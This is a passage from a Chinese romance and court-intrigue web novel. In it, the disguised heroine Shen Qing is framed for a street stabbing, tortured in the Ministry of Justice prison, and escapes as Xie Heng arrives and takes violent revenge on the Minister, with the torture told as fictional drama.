她真的怕这一锅汤下去,也许会要葬送一段本来可能的良缘。 为了不让沈青再想出一些令人难以招架的念头,她提议道:“我听说东市有家瓷器店,里头的瓷器都是客人自己动手捏成后再烧制的,虽然名贵的陶瓷谢府不知有多少,可是你捏成奇形怪状的,那也是独一无二。” 这也能算一片心意了。 沈青很听劝,当下就去东市找了那家瓷器店,店中琳琅瓷器果然各种各样,但是这铺子与别的瓷器店与众不同之处就是在于,后面专门隔了小院,像一座小小工坊,院中一应设备俱全,供客人们自己动手来捏瓷器的形状。 当然比工坊要舒服,花鸟石桌,各有意趣,更像是给无事的富家公子小姐找些乐趣打发时间的。 她放眼打量去,有人正专注于捏着手中陶泥,隐隐成型;有人已经捏好一只怪模怪样的酒杯,交给伙计去烧制;还有人取了刚烧制出来的器物,正兴致勃勃准备亲自描摹点染上花色。 有殷勤的小伙计上前问她:“公子想要捏一个什么?” 沈青懵了一下,一时还真没想好,她来之前是想捏一个茶杯或者花瓶,可是总觉得意尤不尽,太过于平常。 见她犹豫,小伙计很擅长循循引导:“公子是想捏给自己,还是家人朋友,还是给心仪之人呢?” 沈青更加茫然,一双墨玉般的目珠上下转了转:“朋友吧。” 小伙计了然笑了笑,引她在一张小桌前坐下:“既然是朋友,公子可以捏一对小泥人,一个代表你,一个代表对方,凑到一起,好事成双。” ……送朋友是送一对小人儿吗? 虽然听起来有点怪异,但沈青也觉得一对小泥人要比花瓶茶壶之类的更好,既不是千篇一律,又可以摆在案头,伏案阅卷时,抬眼可见。 “好,那就捏一对小人儿。” 她做出决定,照着小伙计跟她说的方法步骤,埋头把弄着眼前的一团陶泥,慢吞吞将它们一点一点捏开,又搓圆,揉出脑袋和四肢,动作开始渐渐熟练,两个小人儿慢慢在手中有了雏形。 看起来还怪笨拙可爱的,尤其摆在一起,有种笨到一起了的滑稽感。 她不由得想象出这两个小人儿烧出来该是什么模样,顿时眉眼笑意弯弯。 “沈公子吗?别来无恙啊。” 她正凝神捏着两个小人儿的笑脸,听到耳畔轻软一声招呼,忙抬起弯得太久有些酸疼的脖颈,映入眼眸的是一张如花似玉的粉面红颜,正笑意盈盈望着她。 “意……意然姐姐?” 王意然自然而然在她这张小桌前坐下:“听说这家瓷器铺子可以自己亲手捏出想做的瓷器,我昨天捏了一个,今日来点染花色,没想到在这里见到沈公子。” 她看向沈青手中有了雏形的两只小人儿,顿时了然:“沈公子捏了这对小人儿是要送给夫人吗?看起来真登对。” 沈青默默将两只小人儿拢在一起:“我就随便捏捏。” 她垂眸瞅着被拢在手心里的两只小人儿,就是两个普普通通看不出样子的泥人,哪里登对了? 两人随便说了几句,王意然的丫鬟过来递了一支烧制过一遍的细口长颈花瓶,玲珑小巧。 “小姐,胚形出来了。” 王意然笑盈盈接过,取了画笔颜料,握着那只花瓶,凝神细细在瓶身上描摹起来。 她信笔游走,眉目专注,笔尖闲闲勾勒,颇有几分气定神闲游刃有余的舒展,沈青被她吸引过去,憧怔间,带着圆润弧度的瓶身栩栩呈现出一幅海棠春雨图。 令人叹为观止。 落笔后,王意然秀眉微蹙,跟丫鬟说话:“奇怪,我怎么画上海棠花了?他们文人墨客,总不会喜欢这样艳俗的图案吧?” 沈青也跟着蹙眉,哪里艳俗了?明明娇妍缠绵,好看得很。 那丫鬟是常年贴身相伴的,她低笑着打趣自家小姐:“小姐画什么,都有人爱不释手的。” 王意然嗔她:“不要乱说。” 眉眼间是掩盖不住的娇羞笑意。 沈青愣了愣,反应过来她们在说什么,突然心里一酸,像王意然这样在富贵堆里被娇捧出来的姑娘,也要费尽巧思来亲手做了瓷器去送给谢珩。 不过谢珩也送了东西给她,两人之间是互相的。 她下意识去看王意然乌亮的鬓发,绸缎一样的青丝,绾出漂亮的朝云髻,配的果然是成套的一副粉玉头面,衬得人比花娇。 这就是谢珩眼都不眨一下,买下的价值连城的头面吗?戴在王意然的发间,相得益彰,好像天然就该属于她。 桓家的事情尘埃落定,好事也要提上议程了? 她再看了看王意然手中那个精致瓷瓶,因着她的画笔尤显巧夺天工,雅致非凡,再看看自己手中拿两个圆圆笨笨的小泥人,她真的没眼再多看。 王意然盯着自己的画作左右看了看,又提笔添描了几画,总算差强人意,重新交给丫鬟让她送去做二次烧制。 等她做完这一切,无意瞥到沈青手里的小泥人,小声惊呼起来:“沈公子,你怎么捏成这样了?” 沈青被她喊得回过神来,才反应过来,自己手上两只捏出小雏形的人儿,又被她捏成一团,变成一个小泥块了。 “刚刚那两个不好看,我要重新捏。”她含糊应道。 王意然由衷称赞道:“很可爱的两个小人啊,不管最后烧出来是什么样,总之沈公子亲手捏的,这份心意,你夫人就一定会喜欢。” 沈青也很诚恳地回应她:“谢谢意然姐姐,你的花瓶做得这样精致,谢珩也一定会喜欢的。” 她声音闷闷的,心里也有点闷闷的。 王意然实在美好得让人挑不出半点毛病来,怎么看都好,可是为什么看到这样好的女子,她心里闷闷沉沉的,竟然有点想哭? 因为她太好了吗?可是岳瑛也很好,她看岳瑛的时候绝对不会这样啊! “珩表哥?” 王意然闻言,一双漂亮杏眼疑惑地眨了眨,轻笑了出来:“我这个不是送给珩表哥的。” 沈青也懵懵眨眼:“不是送给谢珩的?” 王意然有些无奈又好笑:“我也就是跟珩表哥相看了一次,怎么你们人人都说我要跟他在一起?前几个月他买了两套首饰头面,也不知是送给谁的,全洛京都在说我,我可没有收到。” 说着她故作嗔怒道:“我当时就找珩表哥去管管那些流言了,近几个月都没人传了,怎么沈公子还往这上头想呢?” 沈青被她说得恍然,好像这几个月,洛京中确实没人再传那两套头面的事情了,只不过她以为是头面送出,这风头过了,人们已经议论完了。 “你没跟他相看了吗?你不喜欢他?” 下意识地,她脱口问了两句。 王意然耸耸肩,叹气道:“珩表哥这样的人物,有机会做夫君,那谁不愿意呢?不过没有缘分的话,洛京城里其他品貌出挑的公子也不少,总要多挑一挑,挑到一个最称心如意的。” “沈公子,你大概是成家太早了,不知道我们男女之间相看,不是看一次就成,也是要精挑细选,处处都称心才最好。” 她笑着打趣,笑意天然纯真,眉眼间看不到一丝介怀。 沈青好半天不知道要说什么,稀里糊涂应了句:“意然姐姐说得有理。” 王意然看她一脸无害懵懂,清澈的眸子里干净纯粹,只觉这小公子实在可爱,可惜早早成婚了,实在令人叹惋。 等那只小花瓶烧制完成,王意然盯着小伙计仔仔细细装盒,又跟沈青告过别,才领着丫鬟离开。 沈青还直愣愣坐在桌前,目光重新落在她可怜的那两个小泥人上面,不对,已经没有小泥人了,它们在变成一个泥块后,又被她搓成一只小泥球了。 第73章 第73章青衣斑驳,血痕累累(大…… 沈青看着手上这团被自己捏扁又搓圆的陶泥,刚刚被捏出来的那两个小人儿仿佛跟从未存在过一样,她也没有心思再去重新捏一对小人儿,想了想,囫囵捏了一只小老虎。 她捏泥技艺不精,本来是两个小人份量的陶泥,被她捏成了一只小老虎,老虎显得有些憨态可掬,嘟嘟胖胖活像一只大猫。 不过她左看右看觉得很满意,于是将小老虎交给伙计,跟伙计说明了想在成品上画怎样的花样颜色,等煅烧制作好后,过几天再来取。 出了东市沿着主街一路往回走,是洛京城极繁华的街道之一,车马如流水,沈青青衫俊秀,堙没于行人纷纷中。 她垂眸沿街慢慢走,脑海里总萦绕着一件事情。 原来王姑娘早就没跟他相看了啊。 可是,那两套价值连城的首饰头面,不是送给王姑娘的,那会是送给谁的呢? 想问题想得太过出神,没注意到迎面撞上个人,她踉跄了两步,下意识忙问:“诶……你没事吧?” 她抬眼看清,对面是个年轻公子,脸色看上去有点木木的,但是一双眼睛里却愤恨满满。 沈青微怔,不就是撞了他一下,需要这么苦大仇深吗? “这位公子,你……” 话还没说完,她就听见空气里有利刃入肉的声音,她凝眸看去,那年轻公子一双眼睛也从脸上骇然凸起,五官扭曲起来。 他一身锦衣鲜亮,腹上赫然插了一把匕首,身子正缓缓往地上倒。 倒地的时候,一只手还紧紧拽着沈青的衣摆,用最后气力喊出一腔悲怨:“在下不过是行路不慎撞到公子,公子何至于要到取人性命的地步!” 沈青眼睁睁看这人一只手紧拽着她衣摆一角,手臂上因用尽全力而青筋必现。 此时正是闹市之中,路人很快纷纷上前围观,这条繁华街道,行人往来,摩肩擦踵,两人怎么撞上,年轻公子腹部怎么突然多了一把匕首,可是不少人看在眼中的。 这不就是路上跟人相碰起了冲突,一怒之下要将人置于死地吗!? 洛京之中,天子脚下,怎么会有这样一言不合就当街杀人的残暴行径! 竟然还是一个看上去如此斯文俊秀的小公子! 眼前场景和耳畔纷纷人言让沈青有一瞬间的大脑空白,什么意思?当街讹人吗? 这匕首根本不是她插的!是这年轻公子深谙障眼手法,营造出被她捅了的假象! 倒在地上的公子还在痛苦哀嚎:“救命啊……快报官……” 沈青冷眼看着地上苦苦挣扎的人,虽然他腹上一片血红渗透衣裳,看起来甚为骇人,但那并不是什么致命的伤口,只需要及时止血,并无大碍。 这种小伎俩,还敢往她头上讹? “你现在还不滚去止血的话,那你最好拽着我别动,看谁耗得过谁。”她双手抱臂,随便这人怎么撒泼打滚的架势。 反正要钱没有,要命也不是要她的命。 “堂堂朝廷三品大员,一言不合竟当街杀人,还如此出言不逊,这是置朝廷法度于何地?” 一道声音不见其人,但围在他们身边的路人纷纷让开一条道,有人小声道了一句“是刑部的人”,果然见一队官差拨开人群,走到两人面前。 沈青纳罕,官差怎么会来这么快? 难道还有人未卜先知,提前报了官不成? 所以这根本就不是什么讹钱的,是讹她人的呢。 果然,为首的一人上前,上下打量着她:“一方悍匪果然野性难驯,真是辜负了陛下对你的信任。” 好家伙,还当众给她扣了这么一顶帽子,让人无从辩驳。 “先将人带回问话,看看怎么回事。” 沈青目光往人群中扫了一眼,没有多说什么,甚至很配合地任他们将自己双手拷上带走,既然这局是专门为她而设的,那她不能让人白费了这“当街杀人”的局。 早就听说刑部大牢犹如龙潭虎穴,今日正好借机一探,涨涨见识。 桓家那头暂时告一段落,她正愁下一个不知拿谁开刀,这不是撞上来个现成的吗? 她被带入刑部最深一间重犯死牢,双手双脚各自被拷上一双极为粗重的铁拷,整个人被架在刑架牢牢钉住时,虽然已经有了足够的心理准备,但这架势,所谓“问话”,可能要比想象中还要严峻很多。 这刑部还真是给她面子啊,对她严防死守到这地步,看来“坐地一只虎”的威名最近在洛京有点震慑力了。 准备严刑逼供出什么莫须有的罪状吗? 沉重的钢制牢门缓缓打开又合上,进来一位红衣乌帽身姿魁梧的官员,沈青彻底明白了,这是直接要她命来的。 大牢中阴森瘆人,天窗透进来的白光,落在刑架上,将钉在刑架上的人脸色也照得发白。 沈青唇畔还是勾起一抹玩味不屑的笑意:“不过是一起街头行人冲突的事件,竟然还要劳驾堂堂刑部尚书亲自审查?” 她所说的刑部尚书,正是眼前这位魁梧整肃的官员,此人出身庾家,庾家子弟多在朝中各大刑狱机要任重要职位,庾家向来有天下判官的美称。 落到刑部,相当于就是落进庾家手中了。 好巧不巧,她跟庾家,还真是最有新仇旧怨。 还早在渝州的时候,庾氏的庾闻可是死在她手中,那时候她还没准备跟朝中世家闹翻,她手上唯一沾染世家的血,就是庾家的。 后来便是前不久的桓家,庾家与桓家联姻最密,两家虽各自领域不同,但也几乎到了不分彼此的地步,对桓家的打压,最近也被翻出来她可没少出力。 这新仇旧怨算下来,难怪今天可不是非要将她送上黄泉路吗? 果然,这庾尚书也皮笑肉不笑答她:“沈公子是朝廷三品官员,身份不凡,刑部上下只有庾某与你同级,就只好我来审你了。” 沈青听出他的言外之意了,他们是平级官员,一旦审出罪名,他是有权先斩后奏的。 都已经到这里来了,那肯定就是什么诛九族的罪都往她身上加了。 “沈公子来者是客,我自然也要尽尽地主之宜才是,这可都是外面见识不到的,为了招待沈公子,我今日可是要用尽我们刑部的最高礼仪了。” 沈青越来越意识到,果然人在什么环境下,最后就会变成什么气质的人。之前那个桓老板,在明镜台迎来送往,就是一副笑面黄鼠狼的样子,这个庾尚书,往狱中森森壁下一站,还真有几分活阎罗的气场。 她嘿嘿干笑了两声:“不是,庾尚书,咱们痛快点,你想要给我安个什么罪名,我直接认罪画押就是,你何必这么麻烦?” 反正已经到了这里,大家就把话敞亮了说,认罪就认罪吧,别让她受罪就行。 认完罪以后要怎么样,那就认完罪以后说。 庾尚书闻言笑意更加森然:“早就听闻沈公子行事坦率磊落,最痛快不过,今日一见,果然名不虚传。” “过奖过奖。”沈青无奈,跟他们这种人说话怎么这样累呢,说一句话,不知要加多少敬语,要绕多少弯子。 结果下一句,庾尚书不跟她绕弯子了:“不过沈公子可能还没弄明白,你所进来的这地方,可从来不是个讲究痛快的地方。” 森然语气中狠戾必现:“死,你今日是死定了。不过既然到了这里,死之前不把我们刑部三十六大刑七十二小刑尝遍,也不会就让你这么轻松死掉的。” 他还特别提醒:“就算你中间实在熬不住要去见阎王了,我也会从阎王手里将你的命抢回来,等全部尝完了,再把你还给阎王。” 沈青不再说话,她试着活动了一下自己的手腕脚踝,这是给武功高强的重刑犯专门制定的铁拷,一时半会她还真挣不开。 她指尖不动声色抵了抵腕间护腕,确定方才随手在一个官差身上摸到的钥匙还在,至于是不是与扣身上这锁链匹配的 钥匙,对她来说并不重要。 原本她的打算是,能在这刑部大牢待上几天,这样龙潭虎穴之地,其中不知多少腌臜勾连,她可以在这里好好查探一番。 现在看来,她对洛京高门士族的揣测还是过于善意了。 既然庾尚书不会给她在大牢待上几天的机会,那她就没有继续留下的意义了。 她望一眼四周血涔涔的各类刑具,这间牢狱极为宽阔,仅仅这间牢狱,大概也就琳琅摆放了七八套刑具,虽然都是她原先在任何大牢都没见识过的,不过看它们构造,大概能够想象出身体在上面是怎样受刑的。 这不纯纯变态吗? 作为在地方横行多年,令人闻风丧胆的匪首,她尤觉得叹为观止。 她手上确实不知有多少人命,不过她杀起人来手起刀落,无论对方多么恶劣,她总是能给人一个痛快。 这种把人抓来,还专门为此发明各种新奇的刑具,用来将人活活玩死的把戏……真是草芥人命的游戏啊。 他们的杀戮不是为了要生存必须在弱肉强食中杀出一条生路,他们已经是最衣食无忧富贵安逸的人上人,只是为了满足心中变态杀欲,无所不用其极。 不是她一个小小悍匪能比拟的。 “沈公子,你准备好了吗?” 沈青唇畔笑意冷冷,并不答他。 她在推测,会先给她上哪一道刑具。 有狱卒将一条湿热的巾子系在她眼前,她眼前顿时一片漆黑,显得唇畔那一抹冷笑愈发肆意。 看来这庾尚书对她还很忌惮谨慎,不敢贸然让她离开刑架再押到别的刑具上去,甚至连衣服都不敢扒她的,暂时只将她牢牢钉在这里,先折磨个半死不活。 这样也好,省得一上来就是大刑,她也难撑。 只是为什么用刑要遮住人的眼睛?难道还怕受刑的人自己看了会受不了吗? 耳畔那道森然的声音很贴心地替她解释起来:“人只有在看不见的情况下,其他感官才会无限放大,沈公子,好好享受吧。” 沈青一生中遇到过很多险境,可像这般任人鱼肉的境地应该是不曾有过,她一双被架在刑架上的手,也不自觉微微拧成拳头。 果然,在看不见的情况下,所有感官无限被放大,她听到空气里有生铁被烧红的滋啦声,还能清晰嗅到浓烈的血腥和铁锈味交织混合。 有人正在朝自己走来,离她还有三步、两步、一步……等他完全靠近时,从步伐体态能判断出,这就是庾尚书本人。 没有给她太多反应的时间,空气里“刺啦”一声,眼睛看不见的情况下,毫无预兆落在身上的那道剧痛就变得格外刺裂。 沈青吃痛地“啊”了一声。 然后落在身上的刺裂剧痛再未停过,不给她半点喘息缓和的余地,一下紧接着一下,让失去视觉的人敏锐地感受着自己身上寸寸肌肤是如何皮开肉绽的。 这不是一般的鞭刑,这鞭子材质特殊,粗重的长鞭上,细细密密不知覆了多少钩刺在上头,一鞭打下,上头的钩钩刺刺翻出血肉。 更令人发指的是,鞭子每在身上落几次,会有一个短暂的停顿,倒不是为了给受刑的人缓和,据沈青对自己伤口的感受和耳畔听到的声音,应该是这鞭子每隔几下,就要放到辣油锅里过上一遭。 最开始的好几下,各种疼痛叠加下,她几乎都没遭住,痛得直呼,完全压制不住自己声音,不过在反复鞭挞之中,身体也渐渐麻木下来,她不再呼痛,死咬着下唇,浸得额上冷汗淋漓。 她知道,对于好虐弑杀的人来说,给出的反应越大,他们就越兴奋,只有反应平淡下来,对方才会慢慢觉得无趣。 整个身体笔直被钉死在刑架上,她只有脑袋一点一点垂了下去,感觉快要失去意识的时候,耳畔有人出声嘲讽:“沈公子这就受不住了?这才是开胃小菜而已。” 沈青激灵一下,清醒过来,朝着说话的声音虚弱一笑:“庾尚书,我只是武功高强,并不是身体强壮,你看我身子骨这么瘦一把,你可省着点打,不然后边你给我精心准备的大礼,我可无福消受。” 空气里安静须臾,她听见对方将鞭子搁置在一旁的声音。 “既然沈公子如此不堪消受,那就休息一下,来提提神吧。” 他说得好听,沈青心头一紧,心想那所谓提神,肯定不是什么好事! 一片黑暗中,她听见有两个人一左一右站在她身边,两手指尖分别传来一阵钻心的痛,按捺了许久的痛呼再次从喉咙里溢出。 十指连心痛,可真是提神! 她左右两手被人攥着,正往她指尖一根一根钻银针进去,还没有来得及收的一身冷汗,又是一阵淋漓。 不过也确实给她提了个神,这用来钻人指尖的细细银针,可比护腕下藏着的那把钥匙好用。 她咬牙忍受了须臾,摸清这两个用刑人在她手指上的出针频率和顺序,唇畔始终还挂着的那抹虚弱冷笑凝结,十指一动,手中收入几枚银针,用力发出,身旁两人应声倒地。 两手指尖里最后还各剩两枚银针,她“吧嗒”一声开了腕上手铐,摘了眼前的巾子,黑暗视线终于恢复清明,她才慢条斯理弯下腰来开了脚踝上的两只镣铐,坐下来长长舒了口气。 “可真疼死我了。” 没有人看清楚,一个全身被钉死在刑架上的人,是怎么在转瞬之间,行云流水地挣开身上所有镣铐,恢复自由。 沈青盘腿坐在刑架前小憩,看了一眼自己身上血迹斑驳狼藉的青衣,又看一眼被侍卫狱卒们护在身后的庾尚书,可惜了,本来还想直接挟持了他出去,刚刚开锁的时间,她失去了机会。 “庾尚书可能还是跟江湖人打交道打得太少,行走江湖我们跟师傅学的第一件事,就是随手开各种锁镣,下一次绑人,记得要把人十根手指也牢牢绑上。” 看着对面一张张惊愕又惶恐的面容,她好心提醒,不过……这位庾尚书,应该没有下一次绑人的机会了。 倒不是庾尚书跟江湖人交道打得少,而是世上只留几根手指活动便能脱身的人实在太少。 庾尚书很快镇定下来:“方才沈公子进刑部大牢的时候还表现配合,现在想要越狱潜逃了吗?” 沈青很无语,她之前乖乖配合进来,是想蹲几天大牢探查一下刑部的腌臜,谁知道一上来不给她活路。 “我现在还不走,等着被你打死吗?” 两人说话 间,她听见大牢外的狱卒又多了一番。 “对了,”她又抖抖身上血迹斑斑的衣摆:“我不是越狱潜逃,是带着你的罪证出去告状。” 庾尚书觉得好笑:“刑部审案,对于顽劣的犯人,用刑是再正常不过了,沈公子怎么告发我?” 沈青看了一眼牢门外还在不断增加的守卫,提醒他:“庾尚书,如果我没记错的话,今日在街头用匕首自刺的那位公子,应该是桓家旁支一户被抄家斩首的小公子吧?你以为他身负桓家血仇,抱了必死的心以命来栽赃我,没想到他舍不得死,没有捅到自己要害。” “接下来你的人应该会假意送他去医馆,实则灭口。但是你的人不行啊,这么久了还没来跟你复命。” “你……所以他现在落到你手上了?”庾尚书脸色变了变,他没想到沈青这么早就察觉到这是一个局,以身入局,最后反将他一军。 沈青“唔”了一声:“应该是吧,你这儿铜墙铁壁,也还没人来跟我复命,你可以派人去看看。” 在刑架下坐了会儿,等身上冷汗褪去,也适应了一身的疼痛,她才重新站起身,还诚心求问了一句:“身为朝廷掌管刑狱的官员,公报私仇,设计诬陷朝廷命官,还屈打成招,这些罪名,应该可以成立吧?” 问完她也不等对方回答,径直往外走,牢门重锁倒是拦不倒她,只是敌众我寡,必须速战速决。 虽然萧瑞那边扣住了始作俑者,但是他也以为她要在大牢好好待上几天,情况有变,信号弹也发不出去,他应该没那么快察觉。 她只能靠自己杀出去。 不断有侍卫狱卒举刀扑上来,她面不改色杀了回去,神挡杀神,佛挡杀佛,地上横七竖八倒了一片,她跃下高高刑台,离那道牢门越来越近。 破开那道钢门,她还要从最深的重犯死牢一路杀到最外头的大门,按外面调兵遣将的程度,仅靠她一人之力,至少要两柱香。 两柱香,变数太多,不知出去的一路上该有多少机关险阻。 她回过头,望向被侍卫狱卒重重保护着的庾尚书,看来还是得从他下手。 感受到扑面而来毫不掩饰的杀意,犹如猛虎下山攥取猎物,出于本能,庾尚书又往后退了一步。 沈青唇红齿白,笑意天然:“放心,我又不是要杀你。” 电光火石的对峙之间,她已经出手,比她动作更快的是那扇沉重钢门,轰然一声从外面被推倒在地。 连带着整间死牢都被震了一震。 突然其来的变故令沈青悚然回眸,死牢之外明光一片,白衣清越的公子逆在点点白光中,衣袂翩跹。 她有些诧异地挑了挑眉,她以为会是萧瑞,没想到竟是谢珩。 牢门轰然倒塌掀起的重重灰尘沉淀下来,谢珩视线适应牢中昏暗,目光准确无误落到那一袭青影身上。 青衣斑驳,血痕累累。 他一双清疏冷淡的眸子,骤然凝霜。 第74章 第74章谢珩真的会喜欢她吗? 沈青顿住,看到那道清矜如玉的身形从明光处走向晦暗,他身上杀肃锐意太重,让人本能呼吸一顿,直到他颀长身影覆下,柔柔笼在她肩头,她才恍惚松了口气。 谢珩凝眸不语,盯着她身上道道斑驳,很好,总共是十五道鞭痕。 他目光冷肃,寸寸打量过眼前人每一个细节,然后搭起沈青的一双手,拢在自己手掌中,用自己指尖仔仔细细摩挲过她的每一只手指。 十指连心,每一个指尖都被银针钻过。 指尖又痛又痒的触觉让沈青下意识将手缩回,可是那只手掌却将她握得紧,真是奇怪,这人的手掌指尖,怎么比她这个刚刚受过刑的人还要冰凉? 指尖上紧张的颤意,她不知是来自自己,还是对方。 她不由得抬眸觑他神色,本就是一张清霜皓月的面容,现在比他手掌指尖还要冰凉,像是凝了三尺寒冰。 刚刚放松下来的呼吸不免又有些凝滞,指尖上冰凉触觉忽然撤去,谢珩抬起手,有那么恍然一瞬,她觉得他指尖像是要来轻轻触碰自己额角鬓边,可是又在眼前顿住。 余光一闪,只见他袖中银丝令人毫无防备,在空中准确无误绕过侍卫狱卒,像一条灵蛇缠住庾尚书的脖颈。 庾尚书并非不会武之人,但他没有想到谢珩会这样猝不及防对他动手,以及一上来就是要他的命。 颈上收紧让他一张脸顿时被涨得紫红,他双手死死拽住脖颈上的银丝被勒出血痕,试图想给自己争取一点喘息的余地,可是喉咙里什么声音也发不出来。 “你对他用刑?” 等他一双眼睛差不多要翻出白眼的时候,谢珩略松了手上力道,微微偏头,轻声质问。 身后有谢家亲兵踩着那扇轰然倒塌的大门鱼贯而入。 沈青这才意识到,原来他不是孤身而来,只不过他一人来得太快,他带来的亲兵才刚刚跟上他步伐而已。 他脚下如清莲,随着他步步逼近,那些挡在庾尚书面前的侍卫狱卒也偃旗息鼓,很识趣地向两旁让开。 论官阶,大理寺卿比刑部尚书甚至还要低上一阶,可谢珩是赫赫谢家嫡系正统,刑部不仅是庾氏的掌控,也在谢氏的掌控。 等他彻底将银丝收回袖中,庾尚书已经瘫软在地,抱着自己脖颈,如久溺之人浮出水面,大口大口贪婪喘息周遭的空气。 不过给没给他喘息几声的时间,就听到谢珩声音冷冷:“把他给我按住了。” 三五个亲兵听令上前,将地上瘫软如泥的庾尚书捞起来,一把按在一张刑具上。 这会儿庾尚书终于喘过气来,惊惶道:“你……你竟然敢带兵强闯刑部!” 谢珩浑然没听他在说什么,顺手从旁边火炉里抄起一把通体红透的铁烙,没有一丝拖泥带水,径直往他肩头烙去。 “谢……啊——” 惨叫响彻整个死牢,庾尚书垂死挣扎得厉害,不过被几个亲兵死死按住,那魁梧的身子,在沈青看来,此时像极了小金顶上,每到除夕,被按在板上要被宰杀的年猪。 空气里很快弥漫出一股衣物和血肉混合烧焦的气味。 好一会儿,惨叫与挣扎渐弱下来,谢珩抬手将颜色渐熄的铁烙扔回炉中,又顺手从中抽出另一只铁烙,还是通体透红,格外亮眼。 没有什么停顿,这一只铁烙也被按在庾尚书身上,原本弱下去的惨叫和挣扎又立刻尖锐而激烈起来。 旁边的火炉烧得极旺,熊熊火焰争先恐后上下踊跃,一只铁烙熄灭,就换上另一只,如此往复。 从庾尚书的视线中,看到公子眉眼清疏,在火光跳跃的照应下,明明暗暗间显得妖冶,这哪是什么风光霁月的神仙公子!分明是十八层炼狱下的白无常! 不过这一幕沈青却看不到,她所在的角度,只能看到谢珩清峻笔挺的背影,仅仅一道背影,是她从未在谢珩身上见识过的暴戾。 最清风朗月雅正无双的公子,竟然也会有这样狠戾残忍到不能自抑的程度吗? 这样的举动实在让她有些冲击,她身体微僵,连疼痛都忘记了,因为她意识到,谢珩这样极端的反常,只是为了替她出气。 她想起在她很小的时候,在外头玩耍,被邻居家一个小胖孩推进水沟里,还抢了她心爱的玩具。 而她最被长辈们称赞斯文有礼的大哥,立刻冲上去将那小胖孩按在水沟里暴揍了一顿,极尽粗蛮,逼着那小胖孩给她道歉。为着这事,大哥还被爹爹关在柴房里,抄了好些天字帖呢。 可是当沈若清的日子实在太短暂了,如果不是眼前这一幕与记忆里的画面重叠,那些温暖鲜活早就被她尘封起来,不轻易想起。 当沈青的日子,她早就习惯有仇就自己报,还不能让兄弟们受欺负了。 没想到有一天,也有人替沈青出头呢! 大概是庾尚书的惨叫太过于凄厉,她听着那铁烙好像一下下是烙在自己心头一般,周身血脉直雀跃着往外涌,浑身也跟着起了一层小疙瘩。 须臾,谢珩停了手上的动作,指着一张刑具:“把他钉上去。” 近乎失神的庾尚书被湿漉漉捞起,又被牢牢绑在一张刑具上,他几乎气若游丝,哑声道:“你我同朝为官,你怎么可以对我滥用私刑?” 不论谢家如何压过庾家,谢珩带兵闯进堂堂刑部衙署,对三品高官滥用私刑,都太有悖法度纲常。 谢珩这时候终于恢复了一点跟他说话的耐心,冷若寒霜的面容上勾出一丝 清浅笑意:“庾尚书这就受不住了?听说刑部审讯手段有三十六大刑七十二小刑,都是庾尚书苦心孤诣花费了不少心血研造,不亲自上身试一试,怎么知道这些器具是否好用?” 他的声音不急不缓,清润动听,在这晦暗阴沉的死牢里,蓦地听得人背脊发瘆。 “你疯了……你定是疯了……” 庾尚书失声喃喃,只有他多清楚,眼前这清风朗月的公子,和煦清浅的笑意下,是一只怎样的恶灵。 不过比起刚进来的那会儿,现在谢珩有耐心了许多,他这下没有急着动手,而是回身向沈青说话:“你先去把伤口处理了吧。” 接下来血腥残忍的画面,他知道于她而言如过眼云烟般寻常,可是他也不想她看。 那样一双清澈灵秀的眸子,不该被这些沾染。 他的声音轻如鸿毛,将沈青从憧怔间拉回现实,听清耳畔的话,她如梦初醒,忙抱臂胸前往后退了两步:“不……不必了,这点伤你不用管我。” 她这一身鞭伤,挨打的时候痛是真痛,身上血迹斑斑的样子吓人也真是吓人,但其实于刀伤剑伤而言,裹了衣裳止了血,一时倒也无大碍。 她的拒绝在情理之中,谢珩眸中闪过一丝无奈,极有耐性但不容置疑:“我让人来给你上药。” “真不用……” “阿青!” 沈青的话被人打断,她循声回头,晦暗死牢中,一道明丽的身影向她奔来。 “岳瑛?” 看清来人,岳瑛已经奔到她眼前,看着她又不敢多碰她:“你不是去瓷器铺子吗?怎么伤成这样了?” “诶,说来话长,”沈青叹了口气,拍拍衣摆:“这就是些皮肉伤而已,我回去处理也是一样的。” 在这死牢里见到岳瑛,实在比在这里见到谢珩还令人诧异,沈青旁若无人地跟她说了会,才猛然意识到:“不是,你怎么会来这里啊?” 岳瑛打量她说话中气尚足,没缺胳膊少腿,甚至还能行动自如,放下心来,扬了扬下巴,低声道:“是珩公子让我来的,说你被刑部抓了,不知道会不会受伤,马上就派了马车接我过来,没想到他们真对你下手了。” 沈青没听懂这是什么意思,转而疑惑看向谢珩。 谢珩侧过头,错开她的视线:“这不是你的习惯吗?反正你又不能接受别人给你换药。” 这下沈青恍然,原来是意识到她可能会受伤,在赶来刑部大牢的第一时间,就派马车去把岳瑛接上了。 他语气中有不难察觉的一抹讥讽,她下意识想要反唇戏谑回去,要是他来给她上药,她可太习惯了。 可是一句话在唇边呼之欲出,她居然说不出口。 一定是因为谢珩此时的神色太过于冷肃了。 “那个……我现在真不用上药,等我上完药,我这顿鞭子不是白挨了吗?” 她换药不方便是一回事,最主要的是,这一身鞭伤可是庾尚书的罪证啊,当然看起来越惨绝人寰越好,她现在都恨不得带着这一身伤宫里宫外走上几圈来示众来着。 谢珩明白她的意思,看向她的眼神带了点淡淡无语,提醒她:“没人会掀开你衣服去看伤口的。” “你是说,我先把伤口处理了,再继续穿上这身衣服也是一样的?” “嗯。” 其实这样麻烦的举动对沈青来说还是多此一举,不过她看了看后面被钉在刑具上的庾尚书,估计这一时半会谢珩还不会收场,闲着也是闲着,那先处理了伤口也行。 “好吧,那我和岳瑛去隔间先上药。” 谢珩颔首,目送一双人影走出牢门,眸中一片清冷,看不出波澜。 直到彻底出了死牢大门,沈青忍不住回眸往里看了一眼,谢珩已经拂衣坐下,清风朗月,笑意闲适望向被钉在刑具上的人。 “本来没想到下一步动谁,既然如此,那就刑部吧。” 很快,又是令人骇然的惨叫,悚然传彻整个刑部大牢。 断断续续的惨叫声中,确定周围没有多余的目光,沈青半褪了衣裳,任岳瑛给自己处理伤口。 当身上的伤口真翻出来时,尤其她肌肤白皙细腻,那些皮开肉绽还是显得很触目惊心。 虽然说起来是皮肉伤,但这药水沾上伤口时,她还是疼得好一阵龇牙咧嘴。 “谁刚才说是皮肉伤,还说要留着回去处理?”岳瑛忍不住嗔她。 沈青痛得哼哼:“要是你没有来,我可不就是回去处理吗?以前每次受伤也这么过来了。” 岳瑛手上没停,由衷道:“可是,我总觉得现在跟以前不一样了。” “什么不一样了?” “沈青,你真的确定王家小姐还在跟珩公子相看吗?那两套价值连城的首饰真的是送到王府去的吗?我怎么感觉完全不对啊,你不觉得珩公子就是对你格外上心,是旁人都不曾有的吗?” 只是担心她可能会受伤,就先派马车去接了能给她上药的人过来以防万一。 